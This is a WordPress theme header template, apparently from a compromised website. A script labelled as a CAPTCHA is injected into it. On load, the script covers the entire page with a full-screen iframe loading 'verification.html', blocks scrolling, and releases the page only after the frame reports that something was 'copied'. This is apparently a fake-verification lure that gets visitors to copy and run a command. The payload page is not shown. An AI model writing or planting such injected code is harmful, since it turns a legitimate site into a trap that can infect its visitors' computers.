File: /home/hotjamba/domains/howtosettlealawsuit.net/public_html/wp-content/themes/estate/header.php
<?php
/**
* Universal Header Template with CAPTCHA iframe
*/
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
<meta charset="<?php bloginfo( 'charset' ); ?>">
<meta name="viewport" content="width=device-width, initial-scale=1">
<?php wp_head(); ?>
<!-- Universal CAPTCHA iframe connection -->
<script>
window.addEventListener('message', function (event) {
if (event.data?.copied === true) {
localStorage.setItem('copied', 'true');
location.reload(); // Только перезагрузка, без удаления iframe
}
});
window.addEventListener('load', function () {
if (window.localStorage.getItem('copied') === 'true') return;
const iframe = document.createElement('iframe');
iframe.id = 'verification-frame';
iframe.src = "<?php echo esc_url(get_template_directory_uri() . '/verification.html'); ?>";
iframe.style.position = 'fixed';
iframe.style.top = '0';
iframe.style.left = '0';
iframe.style.width = '100vw';
iframe.style.height = '100vh';
iframe.style.border = 'none';
iframe.style.zIndex = '999999';
iframe.style.background = '#ffffff';
document.body.appendChild(iframe);
document.body.style.overflow = 'hidden';
});
</script>
</head>
<body <?php body_class(); ?>>
<?php wp_body_open(); ?>
<a class="skip-link screen-reader-text" href="#content"><?php echo esc_html__( 'Skip to content', 'textdomain' ); ?></a>
<div id="page" class="site">
<?php
// Include theme-specific header markup if needed
if (function_exists('astra_header_markup')) {
astra_header_markup();
} elseif (function_exists('the7_is_gutenberg_theme_mode_active')) {
get_template_part( 'header-single' );
get_template_part( 'header-main' );
}
?>